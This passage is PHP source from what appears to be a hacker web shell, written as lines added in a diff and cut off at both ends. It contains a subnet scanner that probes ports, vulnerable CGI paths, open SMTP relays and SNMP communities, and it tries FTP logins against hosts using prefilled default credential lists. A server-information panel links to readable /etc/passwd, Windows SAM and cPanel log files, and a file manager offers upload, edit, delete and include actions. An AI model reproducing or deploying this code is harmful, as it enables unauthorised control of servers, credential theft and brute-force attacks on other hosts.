webserver security testing...<br><br>"; +flusheR(); +}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:<br><br>";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]<br>";} +flusheR(); +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; +$open=$ser=""; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if ($scan){ +$ser=""; +if($ser=getservbyport($po,"tcp"))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open<br>";$output=1;} +flusheR(); +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo "Unknow"; +else echo $res; +echo "<br>"; +$output=1; +} +flusheR(); +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach ($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@ADMINDIRS')) +foreach ($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@USERS')) +foreach ($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +elseif(strstr($page,'@NUKE')) +foreach ($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." <a href=\"$url\" target=\"_blank\">$url</a><br>";} +flusheR(); +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.<br>";$output=1;}flusheR(); +} +} +if(!empty($_REQUEST['snmpscanner'])){ +if(checkthisporT($ip,161,$timeout,1)){ +$com=$_REQUEST['com']; +$coms=$res=""; +if(strstr($com,","))$c=explode(",",$com);else $c[0]=$com; +foreach ($c as $v){ +$ret=snmpchecK($ip,$v,$timeout); +if($ret)$coms .=" $v "; +} +if ($coms!=""){echo "$ip) SNMP FOUND: $coms<br>";$output=1;} +flusheR(); +} +} +if(!empty($_REQUEST['ftpscanner'])){ +if(checkthisporT($ip,21,$timeout)){ +$usps=explode(',',$_REQUEST['userpass']); +foreach ($usps as $v){ +$user=substr($v,0,strpos($v,':')); +$pass=substr($v,strpos($v,':')+1); +if($pass=='[BLANK]')$pass=''; +$ftp=@ftp_connect($ip,21,$timeout); +if ($ftp){ +if(@ftp_login($ftp,$user,$pass)){$output=1;echo "$ip) FTP FOUND: ($user:$pass) <a href=\"ftp://$ip\" target=\"_blank\">$ip</a> System type: ".ftp_systype($ftp)."<br>";} +} +flusheR(); +} +} +} +if($output)echo "<hr size=1 noshade>"; +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)</font>"; +if(!empty($buglist))unlink($buglist); +} +else{ +$chbox=(extension_loaded('sockets'))?"<input type=checkbox name=tcp value=1 checked>TCP<input type=checkbox name=udp value=1 checked>UDP":"<input type=hidden name=tcp value=1>"; +echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\"><td>Port scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">Target:</td><td bgcolor=\"#808080\" width=80%><input name=target value=$host size=40></td></tr><tr><td bgcolor=\"#666666\" width=25%>From:</td><td bgcolor=\"#666666\" width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td bgcolor=\"#808080\" width=25%>To:</td><td bgcolor=\"#808080\" width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Timeout:</td><td bgcolor=\"#666666\"><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\" bgcolor=\"#808080\">$chbox</td><td bgcolor=\"#808080\" align=\"right\">$hcwd<input type=submit class=buttons name=portscanner value=Scan></td></tr></form></table>"; +$host = substr($host,0,strrpos($host,".")); +echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"50%\"><tr><form method=\"POST\" name=security><td>security scanner:</td></tr><td width=\"25%\" bgcolor=\"#808080\">From:</td><td bgcolor=\"#808080\" width=80%><input name=from value=$host.1 size=40> <input type=checkbox value=1 style=\"border-width:1px;background-color:#808080;\" name=nslookup checked>NS lookup</td></tr><tr><td bgcolor=\"#666666\" width=25%>To:</td><td bgcolor=\"#666666\" width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>$hcwd</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Timeout:</td><td bgcolor=\"#808080\"><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;background-color:#666666;\">Port scanner:</td><td bgcolor=\"#666666\"><input name=port type=text value=\"21,23,25,80,110,135,139,143,443,445,1433,3306,3389,8080,65301\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Get web banner</td><td bgcolor=\"#808080\"><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;background-color:#808080;\">Webserver security scanning&nbsp;&nbsp;&nbsp;<input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;background-color:#808080;\">SMTP relay check</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.userpass.disabled = !document.security.userpass.disabled;\" style=\"border-width:1px;background-color:#666666;\">FTP password:</td><td bgcolor=\"#666666\"><input name=userpass type=text value=\"anonymous:admin@nasa.gov,ftp:ftp,Administrator:[BLANK],guest:[BLANK]\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#808080\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;background-color:#808080;\">SNMP:</td><td bgcolor=\"#808080\"><input name=com type=text value=\"public,private,secret,cisco,write,test,guest,ilmi,ILMI,password,all private,admin,all,system,monitor,agent,manager,OrigEquipMfr,default,tivoli,openview,community,snmp,snmpd,Secret C0de,security,rmon,rmon_admin,hp_admin,NoGaH$@!,agent_steal,freekevin,0392a0,cable-docsis,fubar,ANYCOM,Cisco router,xyzzy,c,cc,cascade,yellow,blue,internal,comcomcom,apc,TENmanUFactOryPOWER,proxy,core,regional\" size=60></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\"></td><td bgcolor=\"#666666\" align=\"right\"><input type=submit class=buttons name=securityscanner value=Scan></td></tr></form></table></center><br><center>"; +} +} +function sysinfO(){ +global $windows,$disablefunctions,$safemode; +$cwd= getcwd(); +$mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program="; +$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF"; +if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; +$osver=$tsize=$fsize=''; +if ($windows){ +$osver = " (".shelL("ver").")"; +$sysroot = shelL("echo %systemroot%"); +if (empty($sysroot)) $sysroot = $_SERVER["SystemRoot"]; +if (empty($sysroot)) $sysroot = getenv("windir"); +if (empty($sysroot)) $sysroot = "Not Found"; +if (empty($CPU))$CPU = shelL("echo %PROCESSOR_IDENTIFIER%"); +for ($i=66;$i<=90;$i++){ +$drive= chr($i).':\\'; +if (is_dir($drive)){ +$fsize+=@disk_free_space($drive); +$tsize+=@disk_total_space($drive); +} +} +}else{ +$fsize=disk_free_space('/'); +$tsize=disk_total_space('/'); +} +$disksize="Used spase: ". showsizE($tsize-$fsize) . " Free space: ". showsizE($fsize) . " Total space: ". showsizE($tsize); +if (empty($CPU)) $CPU = "Unknow"; +$os = php_unamE(); +$osn=php_unamE('s'); +if(!$windows){ +$ker = php_unamE('r'); +$o=($osn=="Linux")?"Linux+Kernel":$osn; +$os = str_replace($osn,"${mil}$o\">$osn</a>",$os); +$os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os); +$inpa=':'; +}else{ +$sam = $sysroot."\\system32\\config\\SAM"; +$inpa=';'; +$os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os); +} +$software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']); +echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td>Server information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Server:</td><td bgcolor=\"#666666\">".$_SERVER["HTTP_HOST"]; if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")";}echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Operation system:</td><td bgcolor=\"#808080\">$os$osver</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Web server application:</td><td bgcolor=\"#666666\">$software</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">CPU:</td><td bgcolor=\"#808080\">$CPU</td></tr><td width=\"25%\" bgcolor=\"#666666\">Disk status:</td><td bgcolor=\"#666666\">$disksize</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">User domain:</td><td bgcolor=\"#808080\">";if (!empty($_SERVER['USERDOMAIN'])) echo $_SERVER['USERDOMAIN'];else echo "Unknow"; echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">User name:</td><td bgcolor=\"#666666\">";$cuser=get_current_user();if (!empty($cuser)) echo get_current_user();else echo "Unknow"; echo "</td></tr>"; +if ($windows){ +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Windows directory:</td><td bgcolor=\"#808080\"><a href=\"".hlinK("seC=fm&workingdiR=$sysroot")."\">$sysroot</a></td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Sam file:</td><td bgcolor=\"#666666\">";if (is_readable(($sam)))echo "<a href=\"".hlinK("?workingdiR=$sysroot\\system32\\config&downloaD=sam")."\">Readable</a>"; else echo "Not readable";echo "</td></tr>"; +} +else +{ +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">Passwd file:</td><td bgcolor=\"#808080\">"; +if (is_readable('/etc/passwd')) echo "<a href=\"".hlinK("seC=edit&filE=/etc/passwd&workingdiR=$cwd")."\">Readable</a>"; else echo'Not readable';echo "</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Cpanel log file:</td><td bgcolor=\"#666666\">"; +if (file_exists("/var/cpanel/accounting.log")){if (is_readable("/var/cpanel/accounting.log")) echo "<a href=\"".hlinK("seC=edit&filE=/var/cpanel/accounting.log&workingdiR=$cwd")."\">Readable</a>"; else echo "Not readable";}else echo "Not found"; +echo "</td></tr>"; +} +$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR'); +echo "<tr><td width=\"25%\" bgcolor=\"#808080\">${mil}PHP\">PHP</a> version:</td><td bgcolor=\"#808080\"><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlinK("seC=phpinfo&workingdiR=$cwd")."\">more...</a>)</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Zend version:</td><td bgcolor=\"#666666\">";if (function_exists('zend_version')) echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>";else echo "Not Found";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Include path:</td><td bgcolor=\"#808080\">".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\" bgcolor=\"#666666\">PHP Modules:</td><td bgcolor=\"#666666\">";$ext=get_loaded_extensions();foreach($ext as $v)echo $v." ";echo "</td><tr><td width=\"25%\" bgcolor=\"#808080\">Disabled functions:</td><td bgcolor=\"#808080\">";if(!empty($disablefunctions))echo $disablefunctions;else echo "Nothing"; echo"</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">Safe mode:</td><td bgcolor=\"#666666\">$safemode</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Open base dir:</td><td bgcolor=\"#808080\">$basedir</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">DBMS:</td><td bgcolor=\"#666666\">";$sq="";if(function_exists('mysql_connect')) $sq= "${mil}MySQL\">MySQL</a> ";if(function_exists('mssql_connect')) $sq.= " ${mil}MSSQL\">MSSQL</a> ";if(function_exists('ora_logon')) $sq.= " ${mil}Oracle\">Oracle</a> ";if(function_exists('sqlite_open')) $sq.= " SQLite ";if(function_exists('pg_connect')) $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> ";if(function_exists('msql_connect')) $sq.= " mSQL ";if(function_exists('mysqli_connect'))$sq.= " MySQLi ";if(function_exists('ovrimos_connect')) $sq.= " Ovrimos SQL ";if ($sq=="") $sq= "Nothing"; echo "$sq</td></tr>";if (function_exists('curl_init')) echo "<tr><td width=\"25%\" bgcolor=\"#808080\">cURL support:</td><td bgcolor=\"#808080\">Enabled ";if(function_exists('curl_version')){$ver=curl_version();echo "(Version:". $ver['version']." OpenSSL version:". $ver['ssl_version']." zlib version:". $ver['libz_version']." host:". $ver['host'] .")";}echo "</td></tr>";echo "<tr><td>User information:</td></tr><tr><td width=\"25%\" bgcolor=\"#666666\">IP:</td><td bgcolor=\"#666666\">$uip</td></tr><tr><td width=\"25%\" bgcolor=\"#808080\">Agent:</td><td bgcolor=\"#808080\">".getenv('HTTP_USER_AGENT')."</td></tr></table>"; +} +function checksuM($file){ +global $et; +echo "<table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td width=\"10%\" bgcolor=\"#666666\"><b>MD5:</b> <font color=#F0F0F0>".md5_file($file)."</font><br><b>SHA1:</b> <font color=#F0F0F0>".sha1_file($file)."</font>$et"; +} +function listdiR($cwd,$task){ +$c= getcwd(); +$dh = opendir($cwd); +while ($cont=readdir($dh)){ +if($cont=='.' || $cont=='..')continue; +$adr = $cwd.DIRECTORY_SEPARATOR.$cont; +switch ($task){ +case '0':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '1':if(is_writeable($adr))if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '2':if(is_file($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break; +case '3':if(is_dir($adr) && is_writeable($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '4':if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";break; +case '5':if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";break; +case '6':if(preg_match("@".$_REQUEST['search']."@",$cont)){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break; +case '7':if(strstr($cont,$_REQUEST['search'])){if(is_file($adr))echo "[<a href=\"".hlinK("seC=edit&filE=$adr&workingdiR=$c")."\">$adr</a>]\n";if(is_dir($adr))echo "[<a href=\"".hlinK("seC=fm&workingdiR=$adr")."\">$adr</a>]\n";}break; +} +if (is_dir($adr)) listdiR($adr,$_REQUEST['task']); +} +} +if (!function_exists("posix_getpwuid") && !strstr($disablefunctions,'posix_getpwuid')) {function posix_getpwuid($u) {return 0;}} +if (!function_exists("posix_getgrgid") && !strstr($disablefunctions,'posix_getgrgid')) {function posix_getgrgid($g) {return 0;}} +function filemanager(){ +global $windows,$msgbox,$errorbox,$t,$et,$hcwd; +$cwd= getcwd(); +$table = "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\">"; +$td1n="<td width=\"22%\" bgcolor=\"#666666\">"; +$td2m="<td width=\"22%\" bgcolor=\"#808080\">"; +$td1i="<td width=\"5%\" bgcolor=\"#666666\">"; +$td2i="<td width=\"5%\" bgcolor=\"#808080\">"; +$tdnr="<td width=\"22%\" bgcolor=\"#800000\">"; +$tdw="<td width=\"22%\" bgcolor=\"#006E00\">"; +if (!empty($_REQUEST['task'])){ +if (!empty($_REQUEST['search'])) $_REQUEST['task'] = 7; +if (!empty($_REQUEST['re'])) $_REQUEST['task'] = 6; +echo "<font color=blue><pre>"; +listdiR($cwd,$_REQUEST['task']); +echo "</pre></font>"; +}else{ +if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])|| !empty($_REQUEST['rN'])){ +if (!empty($_REQUEST['cP']) || !empty($_REQUEST['mV'])){ +$title="Destination"; +$ad = (!empty($_REQUEST['cP']))?$_REQUEST['cP']:$_REQUEST['mV']; +$dis =(!empty($_REQUEST['cP']))?'Copy':'Move'; +}else{ +$ad = $_REQUEST['rN']; +$title ="New name"; +$dis = "Rename"; +} +if (!!empty($_REQUEST['deS'])){ +echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"40%\"><tr><td width=\"100%\" bgcolor=\"#333333\">$title:</td></tr><tr>$td1n<form method=\"POST\"><input type=text value=\"";if(empty($_REQUEST['rN'])) echo $cwd; echo "\" size=60 name=deS></td></tr><tr>$td2m$hcwd<input type=hidden value=\"".htmlspecialchars($ad)."\" name=cp><input class=buttons type=submit value=$dis></td></tr></form></table></center>"; +}else{ +if (!empty($_REQUEST['rN'])) renamE($ad,$_REQUEST['deS']); +else{ +copy($ad,$_REQUEST['deS']); +if (!empty($_REQUEST['mV']))unlink($ad); +} +} +} +if (!empty($_REQUEST['deL'])) { if (is_file($_REQUEST['deL'])|| is_link($_REQUEST['deL'])) unlink($_REQUEST['deL']);elseif(is_dir($_REQUEST['deL'])) { +$dh = opendir($_REQUEST['deL']); +$d=""; +while ($cont=readdir($dh)){$d++;} +if ($d>2) echo "$errorbox\"".htmlspecialchars($_REQUEST['del'])."\" is not empty!<td><tr></table><br>";else rmdir($_REQUEST['del']);}} +if (!empty($_FILES['uploadfile'])){ +move_uploaded_file($_FILES['uploadfile']['tmp_name'],$_FILES['uploadfile']['name']); +echo "$msgbox<b>Uploaded!</b> File name: ".$_FILES['uploadfile']['name']." File size: ".$_FILES['uploadfile']['size']. "$et<br>"; +} +$select = "<select onChange=\"window.location=this.options[this.selectedIndex].value;\"><option value=\"".hlinK("seC=fm&workingdiR=$cwd")."\">--------</option><option value=\""; +if (!empty($_REQUEST['newf'])){ +if (!empty($_REQUEST['newfile'])){file_put_contents($_REQUEST['newf'],"");} +if (!empty($_REQUEST['newdir'])){mkdir($_REQUEST['newf']);} +} +if ($windows){ +echo "$table<td><b>Drives:</b> "; +for ($i=66;$i<=90;$i++){$drive= chr($i).':'; +if (is_dir($drive."\\")){$vol=shelL("vol $drive");if(empty($vol))$vol=$drive;echo " <a title=\"$vol\" href=".hlinK("seC=fm&workingdiR=$drive\\").">$drive\\</a>";} +} +echo $et; +} +echo "$table<form method=\"POST\"><tr><td width=\"20%\"><b>Location:</b><input type=text name=workingdiR size=135 value=\"".getcwd()."\"><input class=buttons type=submit value=Change></td></tr></form></table>"; +$file=array();$dir=array();$link=array(); +if($dirhandle = opendir($cwd)){ +while ($cont=readdir($dirhandle)){ +if (is_dir($cwd.DIRECTORY_SEPARATOR.$cont)) $dir[]= $cont; +elseif (is_file($cwd.DIRECTORY_SEPARATOR.$cont)) $file[]=$cont; +else $link[]=$cont; +} +closedir($dirhandle); +sort($file);sort($dir);sort($link); +echo "<table border=1 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" bgcolor=\"#333333\" width=\"100%\"><tr><td width=\"30%\" bgcolor=\"#333333\" align=\"center\">Name</td><td width=\"13%\" bgcolor=\"#333333\" align=\"center\">Owner</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Modification time</td><td width=\"12%\" bgcolor=\"#333333\" align=\"center\">Last change</td><td width=\"5%\" bgcolor=\"#333333\" align=\"center\">Info</td><td width=\"7%\" bgcolor=\"#333333\" align=\"center\">Size</td><td width=\"15%\" bgcolor=\"#333333\" align=\"center\">Actions</td></tr>"; +$i=0; +foreach($dir as $dn){ +echo "<tr>"; +$i++; +$own="Unknow"; +$owner=posix_getpwuid(fileowner($dn)); +$mdate=date("Y/m/d H:i:s",filemtime($dn)); +$adate=date("Y/m/d H:i:s",fileatime($dn)); +$diraction = $select.hlinK("seC=fm&workingdiR=".realpath($dn))."\">Open</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$dn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$dn&workingdiR=$cwd")."\">Remove</option></select></td>"; +if ($owner) $own = "<a title=\" Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($dn)) echo $tdw;elseif (!is_readable($dn)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=fm&workingdiR=".realpath($dn))."\">"; +if (strlen($dn)>45)echo substr($dn,0,42)."...";else echo $dn;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}D";if (is_readable($dn)) echo "R";if (is_writeable($dn)) echo "W";echo "</td>"; +echo "$cl1------</td>"; +echo $cl2.$diraction; +echo "</tr>" ; +flusheR(); +} +foreach($file as $fn){ +echo "<tr>"; +$i++; +$own = "Unknow"; +$owner = posix_getpwuid(fileowner($fn)); +$fileaction=$select.hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$fn&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$fn&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$fn&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$fn&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$fn&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$fn&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$fn")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$fn")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$fn")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$fn&workingdiR=$cwd")."\">Remove</option></select></td>"; +$mdate = date("Y/m/d H:i:s",filemtime($fn)); +$adate = date("Y/m/d H:i:s",fileatime($fn)); +if ($owner) $own = "<a title=\"Shell:".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +$size = showsizE(filesize($fn)); +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($fn)) echo $tdw;elseif (!is_readable($fn)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=openit&namE=$fn&workingdiR=$cwd")."\">"; +if (strlen($fn)>45)echo substr($fn,0,42)."...";else echo $fn;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>$cl1";if (is_readable($fn)) echo "R";if (is_writeable($fn)) echo "W";if (is_executable($fn)) echo "X";if (is_uploaded_file($fn)) echo "U"; echo "</td>"; +echo "$cl1$size</td>"; +echo $td2m.$fileaction; +echo "</tr>" ; +flusheR(); +} +foreach($link as $ln){ +$own = "Unknow"; +$i++; +$owner = posix_getpwuid(fileowner($ln)); +$linkaction=$select.hlinK("seC=openit&namE=$ln&workingdiR=$ln")."\">Open</option><option value=\"".hlinK("seC=edit&filE=$ln&workingdiR=$cwd")."\">Edit</option><option value=\"".hlinK("seC=fm&downloaD=$ln&workingdiR=$cwd")."\">Download</option><option value=\"".hlinK("seC=hex&filE=$ln&workingdiR=$cwd")."\">Hex view</option><option value=\"".hlinK("seC=img&filE=$ln&workingdiR=$cwd")."\">image</option><option value=\"".hlinK("seC=inc&filE=$ln&workingdiR=$cwd")."\">Include</option><option value=\"".hlinK("seC=checksum&filE=$ln&workingdiR=$cwd")."\">Checksum</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&cP=$ln")."\">Copy</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&mV=$ln")."\">Move</option><option value=\"".hlinK("seC=fm&workingdiR=$cwd&rN=$ln")."\">Rename</option><option value=\"".hlinK("seC=fm&deL=$ln&workingdiR=$cwd")."\">Remove</option></select></td>"; +$mdate = date("Y/m/d H:i:s",filemtime($ln)); +$adate = date("Y/m/d H:i:s",fileatime($ln)); +if ($owner) $own = "<a title=\"Shell: ".$owner['shell']."\" href=\"".hlinK("seC=fm&workingdiR=".$owner['dir'])."\">".$owner['name']."</a>"; +echo "<tr>"; +$size = showsizE(filesize($ln)); +if (($i%2)==0){$cl1=$td1i;$cl2=$td1n;}else{$cl1=$td2i;$cl2=$td2m;} +if (is_writeable($ln)) echo $tdw;elseif (!is_readable($ln)) echo $tdnr;else echo $cl2; +echo "<a href=\"".hlinK("seC=openit&namE=$ln&workingdiR=$cwd")."\">"; +if (strlen($ln)>45)echo substr($ln,0,42)."...";else echo $ln;echo "</a>"; +echo $cl1."$own</td>"; +echo $cl1."$mdate</td>"; +echo $cl1."$adate</td>"; +echo "</td>${cl1}L";if (is_readable($ln)) echo "R";if (is_writeable($ln)) echo "W";if (is_executable($ln)) echo "X"; echo "</td>"; +echo "$cl1$size</td>"; +echo $cl2.$linkaction; +echo "</tr>" ; +flusheR(); +} +} +$dc = count($dir)-2; +if($dc==-2)$dc=0; +$fc = count($file); +$lc = count($link); +$total = $dc + $fc + $lc; +echo "$table<tr><td><form method=POST>Find:<input type=text name=search><input type=checkbox name=re value=1 style=\"border-width:1px;background-color:#333333;\" checked>Regular expressions <input type=submit class=buttons value=Find>$hcwd<input type=hidden value=7 name=task></form></td><td><form method=POST>$hcwd<input type=hidden value=\"fm\" name=seC><select name=task><option value=0>Display files and directories in current folder</option><option value=1>Find writable files and directories in current folder</option><option value=2>Find writable files in current folder</option><option value=3>Find writable directories in current folder</option><option value=4>Display all files in current folder</option><option value=5>Display all directories in current folder</option></select><input type=submit class=buttons value=Do></form>$et</tr></table><table width=\"100%\"><tr><td width=\"50%\"><br><table bgcolor=#333333 border=0 width=\"65%\"><td><b>Summery:</b> Total: $total Directories: $dc Files: $fc Links: $lc</td></table><table bgcolor=#333333 border=0 width=\"65%\"><td width=\"100%\" bgcolor=";if (is_writeable($cwd)) echo "#006E00";elseif (!is_readable($cwd)) echo "#800000";else "#333333"; echo ">Current directory status: "; if (is_readable($cwd)) echo "R";if (is_writeable($cwd)) echo "W" ;echo "</td></table><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" 